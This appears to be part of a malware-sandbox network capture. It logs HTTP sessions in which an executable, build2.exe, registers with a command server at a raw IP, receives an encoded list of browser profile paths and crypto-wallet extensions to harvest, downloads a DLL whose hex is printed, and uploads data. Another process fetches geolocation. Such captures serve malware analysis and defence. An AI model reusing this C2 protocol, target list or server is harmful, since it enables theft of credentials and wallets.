2024-04-23 20:17:06 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 33 66 63 39 61 62 61 39 66 66 37 35 65 32 36 65 35 61 36 35 32 36 64 31 63 63 35 39 62 35 38 39 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|3fc9aba9ff75e26e5a6526d1cc59b589\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	95.217.9.149	443	7644	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:06 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIEGHJEGIDGCAFBFC User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 20:17:06 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 63 39 61 62 61 39 66 66 37 35 65 32 36 65 35 61 36 35 32 36 64 31 63 63 35 39 62 35 38 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="token"3fc9aba9ff75e26e5a6526d1cc59b589------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------EGDGIEGHJEGIDGCAFBFCCont
2024-04-23 20:17:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 20:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-23 20:17:07 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	95.217.9.149	443	7644	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:08 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAE User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 20:17:08 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 63 39 61 62 61 39 66 66 37 35 65 32 36 65 35 61 36 35 32 36 64 31 63 63 35 39 62 35 38 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="token"3fc9aba9ff75e26e5a6526d1cc59b589------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------KJJJDHDGDAAKECAKJDAECont
2024-04-23 20:17:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 20:17:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-23 20:17:09 UTC	5165	IN	Data Raw: 31 34 32 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1420TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49742	95.217.9.149	443	7644	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:12 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKFIIJJKJJJJJJEGDA User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 6081 Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 20:17:12 UTC	6081	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 63 39 61 62 61 39 66 66 37 35 65 32 36 65 35 61 36 35 32 36 64 31 63 63 35 39 62 35 38 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 Data Ascii: ------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="token"3fc9aba9ff75e26e5a6526d1cc59b589------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------EBAKFIIJJKJJJJJJEGDACont
2024-04-23 20:17:13 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 20:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-23 20:17:13 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49743	172.67.139.220	443	7848	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:13 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-23 20:17:13 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 20:17:13 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9xIxPpikKZJrV%2B10pZar1Z2Rvj3Nhbs0HFoJmYdbNp8c%2BrMS46khdcndz%2BomLBC7jkKVENlJ%2FvDFTLzcjcPWvfP0U1hDm8hS3v41DHwDoOEnerjoLMqPijdhhg0g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8790892bc8e5676e-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 20:17:13 UTC	423	IN	Data Raw: 31 61 30 0d 0a 7b 22 69 70 22 3a 22 38 39 2e 31 38 37 2e 31 37 31 2e 31 33 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 47 65 6f 72 67 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 34 5c 75 30 34 33 36 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 34 5c 75 30 34 33 36 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 Data Ascii: 1a0{"ip":"89.187.171.132","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Georgia","region_rus":"\u0414\u0436\u043e\u0440\u0434\u0436\u0438\u044f","region_ua":"\u041
2024-04-23 20:17:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49744	95.217.9.149	443	7644	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:13 UTC	177	OUT	GET /sqln.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 20:17:14 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 20:17:14 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 14 Apr 2024 18:52:51 GMT Connection: close ETag: "661c2603-258600" Accept-Ranges: bytes
2024-04-23 20:17:14 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-04-23 20:17:14 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-04-23 20:17:14 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-04-23 20:17:14 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-04-23 20:17:14 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-04-23 20:17:14 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-04-23 20:17:14 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-04-23 20:17:14 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-04-23 20:17:14 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-04-23 20:17:14 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	95.217.9.149	443	7644	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:16 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFIIEBKEGHJJJJJJDAA User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
